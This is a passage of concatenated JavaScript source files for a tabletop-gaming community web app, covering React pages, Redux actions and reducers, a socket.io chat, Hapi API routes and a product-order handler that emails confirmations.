<file_sep>/src/actions/AchievementActions.js 'use strict'; import AchievementConstants from '../constants/AchievementConstants'; import AchievementService from '../services/AchievementService'; const _initiateRequest = (type, data) => { return { 'type': type, 'data': data }; }; const _returnResponse = (type, data) => { return { 'type': type, 'data': data, 'receivedAt': Date.now() }; }; export default { get: (id) => { return (dispatch) => { dispatch(_initiateRequest(AchievementConstants.INITIATE_ACHIEVEMENT_REQUEST, id)); return AchievementService.get(id).then((achievement) => { dispatch(_returnResponse(AchievementConstants.GET_ACHIEVEMENT, achievement)); return achievement; }); }; }, getAll: () => { return (dispatch) => { dispatch(_initiateRequest(AchievementConstants.INITIATE_ACHIEVEMENT_REQUEST)); return AchievementService.getAll().then((achievements) => { dispatch(_returnResponse(AchievementConstants.GET_ACHIEVEMENTS, achievements)); return achievements; }); }; }, search: (criteria) => { return (dispatch) => { dispatch(_initiateRequest(AchievementConstants.INITIATE_ACHIEVEMENT_REQUEST)); return AchievementService.search(criteria).then((response) => { dispatch(_returnResponse(AchievementConstants.GET_ACHIEVEMENTS, response.results)); return response.pagination; }); }; }, create: (data) => { return (dispatch) => { dispatch(_initiateRequest(AchievementConstants.INITIATE_ACHIEVEMENT_REQUEST)); return AchievementService.create(data).then((achievement) => { dispatch(_returnResponse(AchievementConstants.CREATE_ACHIEVEMENT, achievement)); return achievement; }); }; }, update: (id, data) => { return (dispatch) => { dispatch(_initiateRequest(AchievementConstants.INITIATE_ACHIEVEMENT_REQUEST)); return AchievementService.update(id, data).then((achievement) => { dispatch(_returnResponse(AchievementConstants.UPDATE_ACHIEVEMENT, achievement)); return achievement; }); }; }, remove: (id) => { return (dispatch) => { dispatch(_initiateRequest(AchievementConstants.INITIATE_ACHIEVEMENT_REQUEST, id)); return AchievementService.remove(id).then((response) => { dispatch(_returnResponse(AchievementConstants.REMOVE_ACHIEVEMENT, id)); return response; }); }; } }; <file_sep>/src/components/pages/Home.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {Link} from 'react-router-dom'; import {connect} from 'react-redux'; import {CSSTransitionGroup as Animation} from 'react-transition-group'; import $ from 'jquery'; // TODO: This twitter widget causes a memore leak if it doesn't get destroyed on componentWillUnmount import { Timeline } from 'react-twitter-widgets' import initSlider from '../../scripts/jquery.cslider.js'; import {AlertActions} from '../../library/alerts'; import isEmpty from '../../library/utilities/isEmpty'; import Iframe from '../../library/iframe'; import BannerSlideActions from '../../actions/BannerSlideActions'; import GameSystemActions from '../../actions/GameSystemActions'; import Modal from '../../library/modal'; // TODO: Add React.createElement to only add jQuery to this page for th banner slides const mapStateToProps = (state) => { return { 'bannerSlides': state.bannerSlides, 'gameSystems': state.gameSystems } }; const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'getGameSystems': GameSystemActions.getAll, 'getSlides': BannerSlideActions.getAll }, dispatch); }; class Home extends React.Component { constructor() { super(); this.state = { 'bannerSlides': [], 'showGameList': false } } componentDidMount() { document.title = "Battle-Comm"; this.props.getGameSystems(); this.props.getSlides().then((slides) => { let pageSlides = []; slides.forEach((slide) => { if (slide.pageName === 'home' && slide.isActive) { pageSlides.push(slide); } }); pageSlides.sort((a, b) => { return a.priority - b.priority; }); this.setState({ 'bannerSlides': pageSlides }, () => { initSlider($); // Initialize slideshow $(function() { $('#da-slider').cslider({ current: 0, // index of current slide bgincrement: 20, // increment the bg position (parallax effect) when sliding autoplay: true, // slideshow on / off interval: 4000 // time between transitions }); }); }); }); } // Server side rendering - sends initial data // static fetchData(config) { // return config.store.dispatch(ProductOrderActions.getAll()); // } toggleModal(property, e) { if (e) { e.preventDefault(); } this.setState({ [property]: !this.state[property] }); } render() { return ( <div className="content-view home-page"> <div className="content-box-container"> <div className="box-12"> <div className="box-top"> <div className="box-corner-tl"></div> <div className="box-bar-top"><div className="bar"></div></div> <div className="box-corner-tr"></div> </div> <div className="box-middle"> <div className="box-bar-left"></div> <div className="box-content"> <div className="slider-container"> <div id="da-slider" className="da-slider"> { this.state.bannerSlides.map((slide, i) => <div key={slide.id} className="da-slide"> <h2>{slide.title}</h2> <p>{slide.text}</p> { slide.link.includes('//') || slide.link.includes('http') ? <a href={slide.link} className="da-link" target="_blank">{slide.actionText}</a> : <Link to={slide.link} className="da-link">{slide.actionText}</Link> } <div className="da-img"><img src={`${slide.File.locationUrl}${slide.File.name}`} alt="image01" /></div> </div> ) } <nav className="da-arrows"> <span className="da-arrows-prev"></span> <span className="da-arrows-next"></span> </nav> </div> </div> </div> <div className="box-bar-right"></div> </div> <div className="box-bottom"> <div className="box-corner-bl"></div> <div className="box-bar-bottom"><div className="bar"></div></div> <div className="box-corner-br"></div> </div> </div> </div> <div className="content-box-container"> <div className="box-12"> <div className="box-top"> <div className="box-corner-tl"></div> <div className="box-bar-top"><div className="bar"> <div className="title large"><img src="images/Titles/Now_Supporting.png" alt="" /></div> </div></div> <div className="box-corner-tr"></div> </div> <div className="box-middle"> <div className="box-bar-left"></div> <div className="box-content"> <div className="row"> <div className="small-12 medium-3 columns text-center"> <img src="/images/logos/dropzone-commander.png" /> </div> <div className="small-12 medium-3 columns text-center"> <img src="/images/logos/magic-the-gathering.png" /> </div> <div className="small-12 medium-3 columns text-center"> <img src="/images/logos/x-wing-fantasy-flight.png" /> </div> <div className="small-12 medium-3 columns text-center"> <img src="/images/logos/warhammer-40k.png" /> </div> </div> <div className="small-12 columns"> <h2 className="text-right" onClick={this.toggleModal.bind(this, 'showGameList')}><a className="underline color-white">...and many more --></a></h2> </div> </div> <div className="box-bar-right"></div> </div> <div className="box-bottom"> <div className="box-corner-bl"></div> <div className="box-bar-bottom"><div className="bar"></div></div> <div className="box-corner-br"></div> </div> </div> </div> <div className="content-box-container"> <div className="box-6"> <div className="box-top"> <div className="box-corner-tl"></div> <div className="box-bar-top"> <div className="bar"><div className="title small"><img src="images/Titles/BC_And_Your_Store.png" alt="" /></div></div> </div> <div className="box-corner-tr"></div> </div> <div className="box-middle"> <div className="box-bar-left"></div> <div className="box-content"> <div className="small-12 columns"> <p className="indent">Find access to a worldwide community of dedicated table-top gamers and hobbyists as well as tools to promote your store, events, and gaming space to a worldwide community of dedicated table-top players. Earn system packs and a reward point vault for your future customers.</p> </div> <div className="small-12 columns text-center"> <Link to={`/news`} className="button medium center collapse">Read More</Link> </div> </div> <div className="box-bar-right"></div> </div> <div className="box-bottom"> <div className="box-corner-bl"></div> <div className="box-bar-bottom"><div className="bar"></div></div> <div className="box-corner-br"></div> </div> </div> <div className="box-6"> <div className="box-top"> <div className="box-corner-tl"></div> <div className="box-bar-top"><div className="bar"> <div className="title small"><img src="images/Titles/Event_And_Tournament_Help.png" alt="" /></div> </div></div> <div className="box-corner-tr"></div> </div> <div className="box-middle"> <div className="box-bar-left"></div> <div className="box-content"> <div className="small-12 columns"> <p className="indent">Benefit from tools to help you organize, promote, and execute your gaming event with the ability to create game schedules on the fly, change matches as demands require, post results (and rewards) in real time, and track scoring and stats, all from a friendly, manageable online dashboard.</p> </div> <div className="small-12 columns text-center"> <Link to={`/news`} className="button medium center collapse">Read More</Link> </div> </div> <div className="box-bar-right"></div> </div> <div className="box-bottom"> <div className="box-corner-bl"></div> <div className="box-bar-bottom"><div className="bar"></div></div> <div className="box-corner-br"></div> </div> </div> </div> <div className="content-box-container"> <div className="box-4"> <div className="box-top"> <div className="box-corner-tl"></div> <div className="box-bar-top"><div className="bar"></div></div> <div className="box-corner-tr"></div> </div> <div className="box-middle"> <div className="box-bar-left"></div> <div className="box-content"> <div className="small-12 columns twitter-widget"> <Timeline dataSource={{ sourceType: 'profile', screenName: 'battle_comm' }} options={{ username: 'battle_comm', height: '420', theme: 'dark' }} /> </div> </div> <div className="box-bar-right"></div> </div> <div className="box-bottom"> <div className="box-corner-bl"></div> <div className="box-bar-bottom"><div className="bar"></div></div> <div className="box-corner-br"></div> </div> </div> <div className="box-8"> <div className="box-top"> <div className="box-corner-tl"></div> <div className="box-bar-top"><div className="bar"></div></div> <div className="box-corner-tr"></div> </div> <div className="box-middle"> <div className="box-bar-left"></div> <div className="box-content"> <div className="small-12 columns featured-video"> <Iframe url="https://player.vimeo.com/video/22439234" width="100%" height="420px" position="relative"></Iframe> </div> </div> <div className="box-bar-right"></div> </div> <div className="box-bottom"> <div className="box-corner-bl"></div> <div className="box-bar-bottom"><div className="bar"></div></div> <div className="box-corner-br"></div> </div> </div> </div> <Modal name="gameListModal" title="Supported Game Systems" modalIsOpen={this.state.showGameList} handleClose={this.toggleModal.bind(this, 'showGameList')} showClose={true} showFooter={false}> <ul> { this.props.gameSystems.map((gameSystem, i) => <li key={gameSystem.id}>{gameSystem.name}</li> ) } </ul> </Modal> </div> ); } } export default connect(mapStateToProps, mapDispatchToProps)(Home); <file_sep>/src/library/validations/utilities/findFormName.js 'use strict'; const findFormName = (element) => { let parent = element.parentElement; if (!parent || parent.tagName === 'HTML') { return undefined; } if (parent.tagName !== 'FORM') { return findFormName(parent); } else { return parent.getAttribute('name'); } }; export default findFormName; <file_sep>/src/constants/ManufacturerConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ INITIATE_MANUFACTURER_REQUEST: null, GET_MANUFACTURER: null, GET_MANUFACTURERS: null, CREATE_MANUFACTURER: null, UPDATE_MANUFACTURER: null, REMOVE_MANUFACTURER: null, FILTER_MANUFACTURERS: null }); <file_sep>/server/chat/index.js 'use strict'; import Filter from 'bad-words'; let profanityFilter = new Filter(); exports.register = function(server, options, next) { var io = require('socket.io')(server.select('chat').listener); let storedMessages = []; let numConnections = 0; io.on('connection', function(socket) { console.log('New connection!'); numConnections++; io.emit('chat:totalConnections', numConnections); socket.emit('chat:storedMessages', storedMessages); socket.on('chat:sendMessage', function(msg) { msg.text = profanityFilter.clean(msg.text); io.emit('chat:addMessage', msg); storedMessages.push(msg); if (storedMessages.length > 8) { storedMessages = storedMessages.splice(storedMessages.length - 5, storedMessages.length); } }); socket.on('disconnect', function() { console.log('User disconnected!'); numConnections--; io.emit('chat:totalConnections', numConnections); }); }); next(); }; exports.register.attributes = { name: 'hapi-chat' }; <file_sep>/src/components/pieces/RPDistributionManagement.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import {AlertActions} from '../../library/alerts'; import {FormActions} from '../../library/validations'; import {UserActions} from '../../library/authentication'; import {handlers} from '../../library/utilities'; import searchSuggestions from '../../library/searchSuggestions'; import {Form, getFormErrorCount, Input, TextArea, Select} from '../../library/validations'; import PlayerService from '../../services/PlayerService'; let SearchSuggestions = searchSuggestions(PlayerService, 'searchSuggestions'); const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'modifyUser': UserActions.modify }, dispatch); } // TODO: add proptypes config let timer; class RPDistributionManagement extends React.Component { constructor() { super(); this.state = { 'formIsActive': true, 'rpForm': {}, 'validUser': false } this.handleInputChange = this.handleInputChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.handleSearchSuggestionChange = this.handleSearchSuggestionChange.bind(this); this.resetForm = this.resetForm.bind(this); this.showAlert = this.showAlert.bind(this); } componentWillUnmount() { if (timer) { clearTimeout(timer); } } handleInputChange(e) { this.setState({ 'rpForm': handlers.updateInput(e, this.state.rpForm) }); } handleSubmit(e) { e.preventDefault(); if (timer) { clearTimeout(timer); } timer = setTimeout(() => { PlayerService.updateRP(this.props.user.id, { 'direction': 'decrement', 'rewardPoints': this.state.rpForm.rpToTransfer }); this.props.modifyUser({ 'rewardPoints': this.props.user.rewardPoints - this.state.rpForm.rpToTransfer }); PlayerService.updateRP(this.state.rpForm.receivingPlayerId, { 'direction': 'increment', 'rewardPoints': this.state.rpForm.rpToTransfer }).then(() => { this.resetForm(); this.showAlert('pointsSubmitted'); }); }, 300); } handleSearchSuggestionChange(e) { this.setState({ 'rpForm': handlers.updateSearchSuggestion(e, 'id', this.state.rpForm), 'validUser': !!e.target.suggestionObject }); } resetForm(e) { if (e) { e.preventDefault(); } this.setState({ 'rpForm': {}, 'formIsActive': false }, () => { setTimeout(() => { this.setState({ 'formIsActive': true }); }); }); } showAlert(selector) { const alerts = { 'pointsSubmitted': () => { this.props.addAlert({ 'title': 'Point Assignment Submitted', 'message': `A confirmation e-mail has been sent, and player points were automatically submitted.`, 'type': 'success', 'delay': 4000 }); } } return alerts[selector](); } render() { let formIsInvalid = !this.state.validUser || getFormErrorCount(this.props.forms, 'rewardPointForm') > 0; return ( <div className="small-12 columns"> <h2>Distribute Reward Points</h2> <div className="row"> <div className="small-12 columns"> <h3 className="small-12 text-center">Your Current RP: <strong className="gold">{this.props.user.rewardPoints}</strong></h3> { this.state.formIsActive && <Form name="rewardPointForm" submitButton={false}> <div className="row"> <div className="form-group small-12 medium-4 medium-offset-2 columns"> <label className="required">Send to Player...</label> <SearchSuggestions rowCount={7} maxResults={20} name="receivingPlayerId" displayKeys={['id', 'lastName', 'firstName', 'username']} placeholder="Begin typing to search players..." handleInputChange={this.handleSearchSuggestionChange} required={true}/> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Reward Points</label> <Input type="number" name="rpToTransfer" value={this.state.rpForm.rpToTransfer} handleInputChange={this.handleInputChange} max={this.props.user.rewardPoints} required={true} /> </div> </div> </Form> } <div className="form-group text-right"> <button className="button primary" onClick={this.handleSubmit} disabled={formIsInvalid}>Submit RP Assignment</button> </div> </div> </div> </div> ) } } export default withRouter(connect(null, mapDispatchToProps)(RPDistributionManagement)); <file_sep>/src/services/UserNotificationService.js 'use strict'; import axios from 'axios'; export default { getByUserId: (id) => { return axios.get('/userNotifications/' + id) .then(function(response) { return response.data; }); }, getAll: () => { return axios.get('/userNotifications') .then(function(response) { return response.data; }); }, search: (criteria) => { return axios.post('/search/userNotifications', criteria) .then(function(response) { return response.data; }); }, create: (data) => { return axios.post('/userNotifications', data) .then(function(response) { return response.data; }); }, update: (id, data) => { return axios.put('/userNotifications/' + id, data) .then(function(response) { return response.data; }); }, remove: (id) => { return axios.delete('/userNotifications/' + id) .then(function(response) { return response.data; }); } }; <file_sep>/server/models/manufacturer.js 'use strict'; module.exports = function(sequelize, DataTypes) { var Manufacturer = sequelize.define('Manufacturer', { 'name': DataTypes.STRING, 'description': DataTypes.TEXT, 'url': DataTypes.STRING }, { 'classMethods': { associate: function(models) { Manufacturer.hasOne(models.File); Manufacturer.hasMany(models.GameSystem); Manufacturer.hasMany(models.NewsPost); Manufacturer.hasMany(models.Product); } } }); return Manufacturer; }; <file_sep>/src/reducers/productOrders.js 'use strict'; import ProductOrderConstants from '../constants/ProductOrderConstants'; const productOrder = (state = {}, action) => { switch (action.type) { case ProductOrderConstants.GET_PRODUCT_ORDER: return Object.assign({}, state, action.data); case ProductOrderConstants.CREATE_PRODUCT_ORDER: return Object.assign({}, state, action.data); case ProductOrderConstants.UPDATE_PRODUCT_ORDER: return Object.assign({}, state, action.data); default: return state; } }; const productOrders = (state = [], action) => { switch (action.type) { case ProductOrderConstants.GET_PRODUCT_ORDERS: return [...action.data]; case ProductOrderConstants.CREATE_PRODUCT_ORDER: return [ ...state, productOrder(undefined, action) ]; case ProductOrderConstants.REMOVE_PRODUCT_ORDER: let productOrderArray = [...state]; let index = state.findIndex((productOrder) => productOrder.id === action.data); if (index !== -1) { productOrderArray.splice(index, 1); } return productOrderArray; default: return state; } }; export { productOrder, productOrders }; <file_sep>/src/components/pages/players/PlayerAllySearch.jsx 'use strict'; import React from 'react'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import {Link, withRouter} from 'react-router-dom'; import {PaginationControls} from '../../../library/pagination'; import ViewWrapper from '../../ViewWrapper'; import UserFriendService from '../../../services/UserFriendService'; let _timer; const mapStateToProps = (state) => { return { 'currentUser': state.user } }; class PlayerAllySearch extends React.Component { constructor() { super(); this.state = { 'friends': [], 'pagination': {}, 'searchQuery': '', 'searchBy': 'username', 'orderBy': 'username' } this.handlePageChange = this.handlePageChange.bind(this); } componentDidMount() { document.title = "Battle-Comm | Player Allys"; this.handlePageChange(1); } componentWillUnmount() { if (_timer) { clearTimeout(_timer); } } getPlayerIcon(player) { let userPhoto = player.UserPhoto; return userPhoto ? `/uploads/players/${player.id}/playerIcon/300-${player.UserPhoto.name}` : '/uploads/players/defaults/300-profile-icon-default.png'; } handlePageChange(pageNumber = 1, e) { if (e && e.keyCode && e.keyCode !== 13) { return; } UserFriendService.search({ 'username': this.props.match.params.playerHandle, 'pageSize': 10, 'pageNumber': pageNumber }).then((response) => { this.setState({ 'friends': response.results, 'pagination': response.pagination }) }); } render() { return ( <ViewWrapper headerImage="/images/Titles/Player_Ally_Search.png" headerAlt="Player Ally Search"> <div className="small-12 columns"> <h2>{`${this.props.match.params.playerHandle}'s`} allies</h2> { this.state.friends.length > 0 ? <table className="stack hover text-center"> <thead> <tr> <th className="text-center">Handle</th> <th className="text-center">Full Name</th> <th className="text-center">Go To Profile</th> <th className="text-center">Player Icon</th> </tr> </thead> <tbody> { this.state.friends.map((friend, i) => <tr key={friend.id}> <td>{friend.username}</td> <td>{friend.lastName}, {friend.firstName}</td> <td> <Link className="action-item" to={`/players/profile/${friend.username}`}> <span className="mobile-text">View</span> </Link> </td> <td><Link className="action-item" to={`/players/profile/${friend.username}`}><img className="image-tiny" src={this.getPlayerIcon.call(this, friend)} /></Link> </td> </tr> ) } </tbody> </table> : <h3 className="text-center">No allies found with the supplied search criteria</h3> } <hr/> <div className="small-12 columns"> <PaginationControls pageNumber={this.state.pagination.pageNumber} pageSize={this.state.pagination.pageSize} totalPages={this.state.pagination.totalPages} totalResults={this.state.pagination.totalResults} handlePageChange={this.handlePageChange.bind(this)}></PaginationControls> </div> </div> </ViewWrapper> ); } } export default withRouter(connect(mapStateToProps, null)(PlayerAllySearch)); <file_sep>/src/reducers/gameSystemRankings.js 'use strict'; import GameSystemRankingConstants from '../constants/GameSystemRankingConstants'; const gameSystemRanking = (state = {}, action) => { switch (action.type) { case GameSystemRankingConstants.GET_GAME_SYSTEM_RANKING: return Object.assign({}, state, action.data); case GameSystemRankingConstants.CREATE_GAME_SYSTEM_RANKING: return Object.assign({}, state, action.data); case GameSystemRankingConstants.UPDATE_GAME_SYSTEM_RANKING: return Object.assign({}, state, action.data); default: return state; } }; const gameSystemRankings = (state = [], action) => { switch (action.type) { case GameSystemRankingConstants.GET_GAME_SYSTEM_RANKINGS: return [...action.data]; case GameSystemRankingConstants.CREATE_GAME_SYSTEM_RANKING: return [ ...state, gameSystemRanking(undefined, action) ]; case GameSystemRankingConstants.REMOVE_GAME_SYSTEM_RANKING: let gameSystemRankingArray = [...state]; let index = state.findIndex((gameSystemRanking) => gameSystemRanking.id === action.data); if (index !== -1) { gameSystemRankingArray.splice(index, 1); } return gameSystemRankingArray; default: return state; } } export { gameSystemRanking, gameSystemRankings }; <file_sep>/server/routes/api/userAchievements.js 'use strict'; import Joi from 'joi'; import { userAchievements } from '../handlers'; module.exports = [ // User Friends { 'method': 'POST', 'path': '/api/userAchievements', 'config': { 'handler': userAchievements.create, 'tags': ['api'], 'description': 'Create a new user achievement', 'notes': 'Create a new user achievement', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'payload': Joi.alternatives().try( Joi.object({ 'UserId': Joi.number().required(), 'AchievementId': Joi.number().required(), 'notify': Joi.optional() }), Joi.object({ 'UserId': Joi.number().required(), 'AchievementTitle': Joi.string().required(), 'notify': Joi.optional() }) ) } } }, { 'method': 'DELETE', 'path': '/api/userAchievements/{UserId}/{AchievementId}', 'config': { 'handler': userAchievements.remove, 'tags': ['api'], 'description': 'Remove a user achievement association', 'notes': 'Remove a user achievement association', 'auth': { 'strategy': 'jsonWebToken', 'scope': ['member', 'subscriber', 'tourneyAdmin', 'eventAdmin', 'eventAdminSubscriber', 'venueAdmin', 'clubAdmin', 'systemAdmin'] }, 'validate': { 'params': { 'UserId': Joi.number().required(), 'AchievementId': Joi.number().required(), } } } }, { 'method': 'POST', 'path': '/api/search/userAchievements', 'config': { 'tags': ['api'], 'description': 'Return User/Player achievement search results', 'notes': 'Return User/Player achievement search results', 'validate': { 'payload': { 'username': Joi.string().required(), 'maxResults': Joi.optional(), 'pageNumber': Joi.number().required(), 'pageSize': Joi.optional() } } }, 'handler': userAchievements.search } ]; <file_sep>/src/constants/GameSystemRankingConstants.js 'use strict'; import keyMirror from 'keymirror'; export default keyMirror({ INITIATE_GAME_SYSTEM_RANKING_REQUEST: null, GET_GAME_SYSTEM_RANKING: null, GET_GAME_SYSTEM_RANKINGS: null, CREATE_GAME_SYSTEM_RANKING: null, UPDATE_GAME_SYSTEM_RANKING: null, REMOVE_GAME_SYSTEM_RANKING: null, FILTER_GAME_SYSTEM_RANKINGS: null }); <file_sep>/src/components/pieces/forms/GameSystemRankingForm.jsx 'use strict'; import React from 'react'; import {withRouter} from 'react-router-dom'; import {bindActionCreators} from 'redux'; import {connect} from 'react-redux'; import PropTypes from 'prop-types'; import {AlertActions} from '../../../library/alerts'; import {handlers} from '../../../library/utilities'; import {Form, Input, TextArea, Select} from '../../../library/validations'; import FactionActions from '../../../actions/FactionActions'; import GameSystemActions from '../../../actions/GameSystemActions'; import GameSystemRankingService from '../../../services/GameSystemRankingService'; import GameSystemService from '../../../services/GameSystemService'; const mapStateToProps = (state) => { return { 'gameSystems': state.gameSystems } } const mapDispatchToProps = (dispatch) => { return bindActionCreators({ 'addAlert': AlertActions.addAlert, 'getGameSystems': GameSystemActions.getAll }, dispatch); } class GameSystemRankingForm extends React.Component { constructor() { super(); this.state = { 'ranking': {}, 'factions': [] } this.handleGameSystemChange = this.handleGameSystemChange.bind(this); this.handleInputChange = this.handleInputChange.bind(this); this.handleSubmit = this.handleSubmit.bind(this); this.showAlert = this.showAlert.bind(this); } componentDidMount() { this.props.getGameSystems(); } handleGameSystemChange(e) { let ranking = this.state.ranking; ranking.GameSystemId = e.target.value; ranking.FactionId = undefined; GameSystemService.get(e.target.value).then((gameSystem) => { this.setState({ 'factions': gameSystem.Factions, 'ranking': ranking }); }); } handleInputChange(e) { this.setState({ 'ranking': handlers.updateInput(e, this.state.ranking) }); } handleSubmit() { let newRanking = this.state.ranking; newRanking.UserId = this.props.playerId; GameSystemRankingService.createOrUpdate(newRanking).then((ranking) => { this.setState({ 'ranking': {} }); this.showAlert('rankingUpdated'); this.props.handleSubmit(); }); } showAlert(selector) { const alerts = { 'rankingUpdated': () => { this.props.addAlert({ 'title': 'Player Ranking Updated', 'message': `Ranking was successfully updated and incremented for user, ${this.props.username}`, 'type': 'success', 'delay': 3000 }); } } return alerts[selector](); } render() { return ( <Form name="rankingForm" submitText="Updated Player Ranking" handleSubmit={this.handleSubmit}> <div className="row"> <div className="form-group small-12 medium-6 columns"> <label className="required">Game System</label> <Select name="GameSystemId" value={this.state.ranking.GameSystemId} handleInputChange={this.handleGameSystemChange} required={true}> <option value="">--Select--</option> { this.props.gameSystems.map((gameSystem, i) => <option key={gameSystem.id} value={gameSystem.id}>{gameSystem.name}</option> ) } </Select> </div> <div className="form-group small-12 medium-6 columns"> <label className="required">Faction</label> <Select name="FactionId" value={this.state.ranking.FactionId} handleInputChange={this.handleInputChange} required={true}> <option value="">--Select--</option> { this.state.factions.map((faction, i) => <option key={faction.id} value={faction.id}>{faction.name}</option> ) } </Select> </div> </div> <div className="row"> <div className="form-group small-12 medium-4 columns"> <label className="required">Total Wins</label> <Input type="text" name="totalWins" value={this.state.ranking.totalWins} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Total Draws</label> <Input type="text" name="totalDraws" value={this.state.ranking.totalDraws} handleInputChange={this.handleInputChange} required={true} /> </div> <div className="form-group small-12 medium-4 columns"> <label className="required">Total Losses</label> <Input type="text" name="totalLosses" value={this.state.ranking.totalLosses} handleInputChange={this.handleInputChange} required={true} /> </div> </div> </Form> ) } } GameSystemRankingForm.propTypes = { 'playerId': PropTypes.number, 'username': PropTypes.string, 'handleSubmit': PropTypes.func } GameSystemRankingForm.defaultProps = { } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(GameSystemRankingForm)); <file_sep>/compiled-server/routes/handlers/productOrders.js 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); var _envVariables = require('../../../envVariables'); var _envVariables2 = _interopRequireDefault(_envVariables); var _models = require('../../models'); var _models2 = _interopRequireDefault(_models); var _nodemailer = require('nodemailer'); var _nodemailer2 = _interopRequireDefault(_nodemailer); var _orderSuccess = require('../../email-templates/orderSuccess'); var _orderSuccess2 = _interopRequireDefault(_orderSuccess); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var transporter = _nodemailer2.default.createTransport({ 'service': 'Gmail', 'auth': { 'type': 'OAuth2', 'clientId': _envVariables2.default.email.OAuth2.clientId, 'clientSecret': _envVariables2.default.email.OAuth2.clientSecret } }); // Product Route Configs var productOrders = { get: function get(request, reply) { _models2.default.ProductOrder.find({ 'where': { 'id': request.params.id } }).then(function (response) { if (response) { reply(response).code(200); } else { reply().code(404); } }); }, getAll: function getAll(request, reply) { _models2.default.ProductOrder.findAll().then(function (products) { reply(products).code(200); }); }, create: function create(request, reply) { _models2.default.User.find({ 'where': { 'id': request.payload.UserId } }).then(function (user) { if (user) { user.decrement({ 'rewardPoints': request.payload.orderTotal }).then(function (user) { _models2.default.ProductOrder.create({ 'status': request.payload.status, 'orderDetails': request.payload.orderDetails, 'productDetails': request.payload.productDetails, 'orderTotal': request.payload.orderTotal, 'UserId': request.payload.UserId, 'customerFullName': request.payload.customerFullName, 'customerEmail': request.payload.customerEmail, 'phone': request.payload.phone, 'shippingStreet': request.payload.shippingStreet, 'shippingApartment': request.payload.shippingApartment, 'shippingCity': request.payload.shippingCity, 'shippingState': request.payload.shippingState, 'shippingZip': request.payload.shippingZip, 'shippingCountry': request.payload.shippingCountry }).then(function (order) { order = order.get({ 'plain': true }); var customerMailConfig = { 'from': _envVariables2.default.email.user, 'to': order.customerEmail, 'subject': 'Order Confirmation: Battle-Comm, Order #' + order.id, 'html': (0, _orderSuccess2.default)(order), 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; var adminMailConfig = { 'from': _envVariables2.default.email.user, 'to': _envVariables2.default.email.user, 'subject': 'New Order: #' + order.id + ', ' + order.customerFullName, 'html': (0, _orderSuccess2.default)(order), 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; transporter.sendMail(customerMailConfig, function (error, info) { if (error) { console.log(error); reply('Somthing went wrong'); } else { transporter.sendMail(adminMailConfig); reply(order).code(200); } }); }); }); } else { reply(Boom.notFound('User not found')); } }); }, update: function update(request, reply) { _models2.default.ProductOrder.find({ 'where': { 'id': request.params.id } }).then(function (response) { if (response) { response.updateAttributes({ 'status': request.payload.status, 'orderDetails': request.payload.orderDetails, 'orderTotal': request.payload.orderTotal, 'UserId': request.payload.UserId, 'customerFullName': request.payload.customerFullName, 'customerEmail': request.payload.customerEmail, 'phone': request.payload.phone, 'shippingStreet': request.payload.shippingStreet, 'shippingApartment': request.payload.shippingApartment, 'shippingCity': request.payload.shippingCity, 'shippingState': request.payload.shippingState, 'shippingZip': request.payload.shippingZip, 'shippingCountry': request.payload.shippingCountry }).then(function (order) { order = order.get({ 'plain': true }); var customerMailConfig = { 'from': _envVariables2.default.email.user, 'to': order.customerEmail, 'subject': 'Order Confirmation: Battle-Comm, Order #' + order.id, 'html': (0, _orderSuccess2.default)(order), 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; var adminMailConfig = { 'from': _envVariables2.default.email.user, 'to': _envVariables2.default.email.user, 'subject': 'Order Updated: #' + order.id + ', ' + order.customerFullName, 'html': (0, _orderSuccess2.default)(order), 'service': 'Gmail', 'auth': { 'user': _envVariables2.default.email.user, 'refreshToken': _envVariables2.default.email.OAuth2.refreshToken } }; transporter.sendMail(adminMailConfig, function (error, info) { if (error) { console.log(error); reply('Somthing went wrong'); } else { if (order.status === 'shipped') { transporter.sendMail(customerMailConfig); } reply(order).code(200); } }); }); } else { reply().code(404); } }); }, 'search': function search(request, reply) { var searchByConfig = void 0; var pageSize = parseInt(request.payload.pageSize, 10) || 20; var searchQuery = request.payload.searchQuery || ''; var offset = (request.payload.pageNumber - 1) * pageSize; var orderBy = request.payload.orderBy ? [request.payload.orderBy, 'DESC'] : undefined; if (searchQuery) { searchByConfig = request.payload.searchBy ? _defineProperty({}, request.payload.searchBy, { '$iLike': '%' + searchQuery + '%' }) : { '$or': [{ 'customerFullName': { '$iLike': '%' + searchQuery + '%' } }, { 'customerEmail': { '$iLike': '%' + searchQuery + '%' } }, { 'shippingCity': { '$iLike': '%' + searchQuery + '%' } }, { 'shippingStreet': { '$iLike': '%' + searchQuery + '%' } }] }; } else { searchByConfig = {}; } _models2.default.ProductOrder.findAndCountAll({ 'where': searchByConfig, 'offset': offset, 'limit': pageSize, 'order': orderBy ? [orderBy] : [] }).then(function (response) { var count = response.count; var results = response.rows; var totalPages = Math.ceil(count === 0 ? 1 : count / pageSize); reply({ 'pagination': { 'pageNumber': request.payload.pageNumber, 'pageSize': pageSize, 'totalPages': totalPages, 'totalResults': count }, 'results': results }).code(200); }); }, delete: function _delete(request, reply) { _models2.default.ProductOrder.destroy({ 